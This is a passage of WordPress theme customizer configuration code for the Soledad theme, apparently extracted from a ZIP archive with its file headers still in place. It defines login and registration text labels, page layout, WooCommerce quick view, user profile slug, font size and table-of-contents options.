	'penci_trans_usernameemail_text'     => esc_html__( 'Username or email', 'soledad' ),
	'penci_plogin_email_place'           => esc_html__( 'Email Address', 'soledad' ),
	'penci_trans_pass_text'              => esc_html__( 'Password', 'soledad' ),
	'penci_plogin_label_remember'        => esc_html__( 'Keep me signed in until I sign out', 'soledad' ),
	'penci_plogin_label_log_in'          => esc_html__( 'Login to your account', 'soledad' ),
	'penci_plogin_label_lostpassword'    => esc_html__( 'Forgot your password?', 'soledad' ),
	'penci_plogin_text_has_account'      => esc_html__( 'Do not have an account ?', 'soledad' ),
	'penci_plogin_label_registration'    => esc_html__( 'Register here', 'soledad' ),
	'penci_plogin_validate_robot'        => esc_html__( 'Please validate you are not robot.', 'soledad' ),
	'penci_plogin_wrong'                 => esc_html__( 'Wrong username or password', 'soledad' ),
	'penci_plogin_success'               => esc_html__( 'Login successful, redirecting...', 'soledad' ),
	'penci_preset_submit'                => esc_html__( 'Send My Password', 'soledad' ),
	'penci_preset_desc'                  => esc_html__( 'A new password will be emailed to you.', 'soledad' ),
	'penci_preset_received'              => esc_html__( 'Have received a new password?', 'soledad' ),
	'penci_preset_noemail'               => esc_html__( 'There is no user registered with that email.', 'soledad' ),
	'penci_preset_from'                  => esc_html__( 'From:', 'soledad' ),
	'penci_preset_newpassis'             => esc_html__( 'Your new password is:', 'soledad' ),
	'penci_preset_checkinbox'            => esc_html__( 'Check your email address to get the new password.', 'soledad' ),
	'penci_preset_cantsend'              => esc_html__( 'The email could not be sent. Possible reason: your host may have disabled the mail() function.', 'soledad' ),
	'penci_preset_somethingwrong'        => esc_html__( 'Oops! Something went wrong while updating your account.', 'soledad' ),
	'penci_pregister_first_name'         => esc_html__( 'First Name', 'soledad' ),
	'penci_pregister_last_name'          => esc_html__( 'Last Name', 'soledad' ),
	'penci_pregister_user_name'          => esc_html__( 'Username', 'soledad' ),
	'penci_pregister_user_email'         => esc_html__( 'Email address', 'soledad' ),
	'penci_pregister_user_phone'         => esc_html__( 'Phone Number', 'soledad' ),
	'penci_pregister_user_pass'          => esc_html__( 'Password', 'soledad' ),
	'penci_pregister_pass_confirm'       => esc_html__( 'Confirm Password', 'soledad' ),
	'penci_pregister_button_submit'      => esc_html__( 'Sign up new account', 'soledad' ),
	'penci_pregister_has_account'        => esc_html__( 'Have an account?', 'soledad' ),
	'penci_pregister_label_registration' => esc_html__( 'Login here', 'soledad' ),
	'penci_plogin_mess_invalid_email'    => esc_html__( 'Invalid email.', 'soledad' ),
	'penci_plogin_mess_error_email_pass' => esc_html__( 'Password does not match the confirm password', 'soledad' ),
	'penci_plogin_mess_username_reg'     => esc_html__( 'This username is already registered.', 'soledad' ),
	'penci_plogin_mess_email_reg'        => esc_html__( 'This email address is already registered.', 'soledad' ),
	'penci_plogin_mess_wrong_email_pass' => esc_html__( 'Wrong username or password.', 'soledad' ),
	'penci_plogin_mess_reg_succ'         => esc_html__( 'Registered successful, redirecting...', 'soledad' ),
	'penci_pregister_cinfo'              => esc_html__( 'Contact Info', 'soledad' ),
	'penci_pregister_about'              => esc_html__( 'About Yourself', 'soledad' ),
	'penci_pregister_binfo'              => esc_html__( 'Biographical Info', 'soledad' ),
	'penci_pregister_picture'            => esc_html__( 'Profile Picture', 'soledad' ),
	'penci_pregister_display_name'       => esc_html__( 'Display Name', 'soledad' ),
	'penci_trans_error_empty'            => esc_html__( 'Please fill in all the required fields.', 'soledad' ),
	'penci_trans_error_noemail'          => esc_html__( 'Please enter a valid e-mail.', 'soledad' ),
	'penci_trans_error_same_as_admin'    => esc_html__( 'You can not use this e-mail due to security issues.', 'soledad' ),
	'penci_trans_error_spam_email'       => esc_html__( 'You are trying to send e-mail by banned e-mail. Multiple tries can ban you permanently!', 'soledad' ),
	'penci_trans_result'                 => esc_html__( 'Unknown error! Please check your settings.', 'soledad' ),
	'penci_trans_email_success'          => esc_html__( 'Hi, %s. We got your e-mail. We\'ll reply you very soon. Thanks for being with us...', 'soledad' ),
	'penci_pregister_agree'              => esc_html__( 'I Agree to the Terms of Service and Privacy Policy', 'soledad' ),
	'penci_trans_search_title'           => esc_html__( 'What Are You Looking For?', 'soledad' ),
	'penci_trans_reactions_title'        => esc_html__( 'Have any thoughts?', 'soledad' ),
	'penci_trans_reactions_desc'         => esc_html__( 'Share your reaction or leave a quick response — we’d love to hear what you think!', 'soledad' ),
);
foreach ( $login_register as $login_register_id => $login_register_label ) {
	$type = 'text';
	if ( $login_register_id == 'penci_pregister_agree' ) {
		$type = 'textarea';
	}
	$options[] = array(
		'default'  => $login_register_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $login_register_label . '"', 'soledad' ),
		'id'       => $login_register_id,
		'type'     => 'soledad-fw-' . $type,
	);
}

// comment ratings
$comment_ratings = [
	'penci_overall_rating' => __( 'Your rating:', 'soledad' ),
	'penci_summarize'      => __( 'Your review title', 'soledad' ),
	'penci_your_review'    => __( 'Your Review', 'soledad' ),
	'penci_review_desc'    => __( 'Tell about your experience or leave a tip for others', 'soledad' ),
	'penci_review_submit'  => __( 'Submit your Review', 'soledad' ),
	'penci_review_title'   => __( 'Review Title', 'soledad' ),
	'penci_review_ratings' => __( 'Rating:', 'soledad' ),
];
$options[]       = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Comment Rating Form', 'soledad' ),
	'id'       => 'penci_cmrating_heading',
	'type'     => 'soledad-fw-header',
);
foreach ( $comment_ratings as $c_id => $c_label ) {
	$options[] = array(
		'default'  => $c_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $c_label . '"', 'soledad' ),
		'id'       => $c_id,
		'type'     => 'soledad-fw-text',
	);
}

return $options;
PK     0w\7SR    B  customizer/config/sections/penci_section_spage_general_section.phpnu [        <?php
$options         = [];
$options[]       = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Page Default Template Layout', 'soledad' ),
	'id'          => 'penci_page_default_template_layout',
	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/images/template.png">this image</a> to know how to change Template of a page.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''              => __( 'No Sidebar with Container', 'soledad' ),
		'small-width'   => __( 'No Sidebar with Smaller Container Width', 'soledad' ),
		'right-sidebar' => __( 'Page with Right Sidebar', 'soledad' ),
		'left-sidebar'  => __( 'Page with Left Sidebar', 'soledad' ),
		'two-sidebar'   => __( 'Page with Two Sidebars', 'soledad' )
	)
);
$options[]       = array(
	'default'  => '900',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Width for "Page No Sidebar with Smaller Container Width"', 'soledad' ),
	'id'       => 'penci_page_custom_width',
	'ids'      => array(
		'desktop' => 'penci_page_custom_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '900',
		),
	),
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Featured Image Auto Appears', 'soledad' ),
	'id'       => 'penci_page_hide_featured_image',
	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Page Titles', 'soledad' ),
	'id'       => 'penci_page_hide_ptitle',
	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase on Page Titles', 'soledad' ),
	'id'       => 'penci_page_title_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_page_title_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '18',
);
$options[]       = array(
	'label'    => __( 'Font Size for Page Titles', 'soledad' ),
	'id'       => 'penci_page_title_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_page_title_fsize',
		'mobile'  => 'penci_page_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'default' => '24',
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Buttons', 'soledad' ),
	'id'       => 'penci_page_share',
	'type'     => 'soledad-fw-toggle',
);
$share_style     = [];
$share_style[''] = 'Inherit from the Single Post Settings';
for ( $i = 1; $i <= 23; $i ++ ) {
	$v                      = $i < 4 ? 's' : 'n';
	$n                      = $i < 4 ? $i : $i - 3;
	$share_style[ $v . $n ] = 'Style ' . $i;
}
$options[] = array(
	'id'       => 'penci_page_style_cscount',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Share Box Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $share_style,
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Social Share Plus Button', 'soledad' ),
	'id'       => 'penci_page_share_disbtnplus',
	'type'     => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'id'       => 'penci_page_align_cscount',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Share Box Alignment', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => __('Default Theme Style','soledad' ),
		'left'   => __('Left','soledad' ),
		'right'  => __('Right','soledad' ),
		'center' => __('Center','soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Share" Text', 'soledad' ),
	'id'       => 'penci_page_sharetext_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_page_sharetext_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Share Icons', 'soledad' ),
	'id'       => 'penci_page_shareicon_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_page_shareicon_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comments', 'soledad' ),
	'id'       => 'penci_page_comments',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Header Transparent', 'soledad' ),
	'id'       => 'penci_header_enable_transparent',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar for Pages', 'soledad' ),
	'id'          => 'penci_sidebar_name_pages',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar Left for Pages', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_pages',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar Left. This option just apply when you use 2 sidebars for Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);

return $options;
PK     0w\	g>  >  I  customizer/config/sections/pencidesign_woo_quickview_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Quick View', 'soledad' ),
	'description' => __( 'Enable Quick view option. Ability to see the product information with AJAX.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show variations information on quick view', 'soledad' ),
	'description' => __( 'Enable Quick show all product summary information for variable products.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview_variations',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'type'        => 'soledad-fw-size',
	'default'     => '960',
	'sanitize'    => 'absint',
	'label'       => __( 'Quick view width', 'soledad' ),
	'description' => __( 'Set width of the quick view in pixels.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview_width',
	'ids'         => array(
		'desktop' => 'penci_woocommerce_quickview_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '960',
		),
	),
);

return $options;
PK     0w\c    8  customizer/config/sections/penci_userprofile_section.phpnu [        <?php
$options = array();
$options[] = array(
	'label'       => esc_html__( 'Permantly Disable User Profile Features', 'soledad' ),
	'id'          => 'penci_disable_all_user_profiles',
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'       => esc_html__( 'Disable Default User Profile Pages', 'soledad' ),
	'description' => esc_html__( 'Turn on this option if you want to use user profile pages with third-party plugins (such as WooCommerce, ProfilePress, EDD, ...).', 'soledad' ),
	'id'          => 'penci_disable_user_profiles',
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'id'    => 'penci_frontend_profile_header',
	'type'  => 'soledad-fw-header',
	'label' => esc_html__( 'Page URL Settings', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_account_slug',
	'transport'   => 'postMessage',
	'default'     => 'account',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Account Page Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_edit_account_slug',
	'transport'   => 'postMessage',
	'default'     => 'edit-account',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Edit Account URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/edit-account/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_change_password_slug',
	'transport'   => 'postMessage',
	'default'     => 'change-password',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Change Password URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/change-password/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_like_posts_slug',
	'transport'   => 'postMessage',
	'default'     => 'change-password',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Change Post Likes URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/like-posts/', 'soledad' ),
);

return $options;PK     0w\Nh    D  customizer/config/sections/penci_section_layout_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories', 'soledad' ),
	'id'       => 'penci_layout_category_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_category_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_layout_titlebig_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '18',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Layouts: Standard, Classic, Overlay & Big Posts', 'soledad' ),
	'id'       => 'penci_layout_titlebig_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_layout_titlebig_fsize',
		'mobile'  => 'penci_layout_titlebig_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_layout_title_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Other Layouts', 'soledad' ),
	'id'       => 'penci_layout_title_fsize',
	'type'     => 'soledad-fw-size',
	'default'  => '18',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_layout_title_fsize',
		'mobile'  => 'penci_layout_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_layout_meta_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_meta_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Excerpt', 'soledad' ),
	'id'       => 'penci_layout_excerpt_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_excerpt_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Continue Reading"/"Read More" Button', 'soledad' ),
	'id'       => 'penci_layout_readmore_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_readmore_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Like/Share Icons', 'soledad' ),
	'id'       => 'penci_layout_sharebox_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_sharebox_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

return $options;
PK     0w\O    H  customizer/config/sections/pencidesign_section_fvideo_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Heading Text Color', 'soledad' ),
	'id'       => 'penci_featured_video_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Sub Heading Text Color', 'soledad' ),
	'id'       => 'penci_featured_video_sub_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     0w\WH$  H$  >  customizer/config/sections/pencidesign_toc_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_toc_enabled_post_types',
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Enable Support in Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);
$options[] = array(
	'id'       => 'penci_toc_position',
	'default'  => 'top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Insert Table of Contents To', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'top'    => __( 'Before Post Content (Default)', 'soledad' ),
		'bottom' => __( 'After Post Content', 'soledad' ),
		'before' => __( 'Before First Heading', 'soledad' ),
		'after'  => __( 'After First Heading', 'soledad' ),
	]
);
$options[] = array(
	'default'  => 's1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Table of Contents Style', 'soledad' ),
	'id'       => 'penci_toc_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		's1' => __( 'Default', 'soledad' ),
		's2' => __( 'Shadow', 'soledad' ),
		's3' => __( 'Background', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sticky Position', 'soledad' ),
	'id'       => 'penci_toc_sticky',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'                => __( 'Top Left', 'soledad' ),
		'right'               => __( 'Top Right', 'soledad' ),
		'bottom sticky-left'  => __( 'Bottom Left', 'soledad' ),
		'bottom sticky-right' => __( 'Bottom Right', 'soledad' ),
		'disable'             => __( 'Disable', 'soledad' ),
	)
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Always Sticky?', 'soledad' ),
	'description' => __( 'This option will hide the TOC in the main post content and display it in the sticky position you selected above.', 'soledad' ),
	'id'          => 'penci_toc_asticky',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Width', 'soledad' ),
	'description' => __( 'Enter the custom table of contents width.', 'soledad' ),
	'id'          => 'penci_toc_styles_width',
	'ids'         => array(
		'desktop' => 'penci_toc_styles_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Sticky Width', 'soledad' ),
	'description' => __( 'Enter the custom table of contents width when sticky.', 'soledad' ),
	'id'          => 'penci_toc_styles_swidth',
	'ids'         => array(
		'desktop' => 'penci_toc_styles_swidth',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Table of Contents Float', 'soledad' ),
	'id'       => 'penci_toc_wrapping',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float Left', 'soledad' ),
		'right' => __( 'Float Right', 'soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_toc_start',
	'default'     => '3',
	'sanitize'    => 'penci_sanitize_number_field',
	'label'       => __( 'Show Table of Contents for Posts has How Many Minimum Heading Tags', 'soledad' ),
	'description' => __( 'By default, the table of contents does not show if the posts has lower than 3 heading tags', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'       => 'penci_toc_heading_text',
	'default'  => 'Table of Contents',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Header Label', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'          => 'penci_toc_visibility',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Toggle View', 'soledad' ),
	'description' => __( 'Disallow the user to toggle the visibility of the table of contents.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_toc_visibility_hide_by_default',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Always hide the table of contents', 'soledad' ),
	'description' => __( 'Only display the table heading. Initially hide the table of contents.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_toc_show_hierarchy',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show as Hierarchy', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_toc_counter',
	'default'  => 'decimal',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Counter', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'decimal' => __( 'Decimal (default)', 'soledad' ),
		'numeric' => __( 'Numeric', 'soledad' ),
		'roman'   => __( 'Roman', 'soledad' ),
		'none'    => __( 'None', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_toc_smooth_scroll',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Smooth Scroll', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => esc_html__( 'Advanced Settings', 'soledad' ),
	'id'       => 'penci_toc_advanced_head_1',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'id'       => 'penci_toc_levels',
	'default'  => 3,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Maximum Level of Table of Contents', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'1' => __( '1', 'soledad' ),
		'2' => __( '2', 'soledad' ),
		'3' => __( '3', 'soledad' ),
		'4' => __( '4', 'soledad' ),
		'5' => __( '5', 'soledad' ),
		'6' => __( '6', 'soledad' ),
	],
);
$options[] = array(
	'id'          => 'penci_toc_prefix',
	'default'     => 'penci',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Link Anchor Prefix', 'soledad' ),
	'description' => __( 'Please enter a value for this option field. All heading IDs will start with this text. If you leave this field blank, the TOC may not work correctly.', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_toc_heading_levels',
	'default'  => [ '1', '2', '3', '4', '5', '6' ],
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Headings', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => [
		'1' => __( 'Heading 1 (h1)', 'soledad' ),
		'2' => __( 'Heading 2 (h2)', 'soledad' ),
		'3' => __( 'Heading 3 (h3)', 'soledad' ),
		'4' => __( 'Heading 4 (h4)', 'soledad' ),
		'5' => __( 'Heading 5 (h5)', 'soledad' ),
		'6' => __( 'Heading 6 (h6)', 'soledad' ),
	],
);

$options[] = array(
	'id'          => 'penci_toc_exclude',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Exclude Headings', 'soledad' ),
	'description' => __( 'Specify headings to be excluded from appearing in the table of contents. Separate multiple headings with a pipe |. Use an asterisk * as a wildcard to match other text.', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'id'          => 'penci_toc_smooth_scroll_offset',
	'sanitize'    => 'absint',
	'default'     => '120',
	'label'       => __( 'Smooth Scroll Offset', 'soledad' ),
	'description' => __( 'If you have a consistent menu across the top of your site, you can adjust the top offset to stop the headings from appearing underneath the top menu. A setting of 30 accommodates the WordPress admin bar. This setting only has an effect after you have enabled Smooth Scroll option.', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'          => 'penci_toc_mobile_smooth_scroll_offset',
	'sanitize'    => 'absint',
	'default'     => '90',
	'label'       => __( 'Mobile Smooth Scroll Offset', 'soledad' ),
	'description' => __( 'This provides the same function as the Smooth Scroll Offset option above but applied when the user is visiting your site on a mobile device.', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'       => 'penci_toc_nofollow_link',
	'sanitize' => 'absint',
	'label'    => __( 'Add "no-follow" to table of contents link.', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     0w\^}    I  customizer/config/sections/pencidesign_new_section_custom_css_section.phpnu [        <?php
$options   = [];
$options[] = [
	'id'          => 'penci_custom_css',
	'transport'   => 'refresh',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/css',
	'label'       => esc_html__( 'Custom CSS', 'soledad' ),
	'input_attrs' => array(
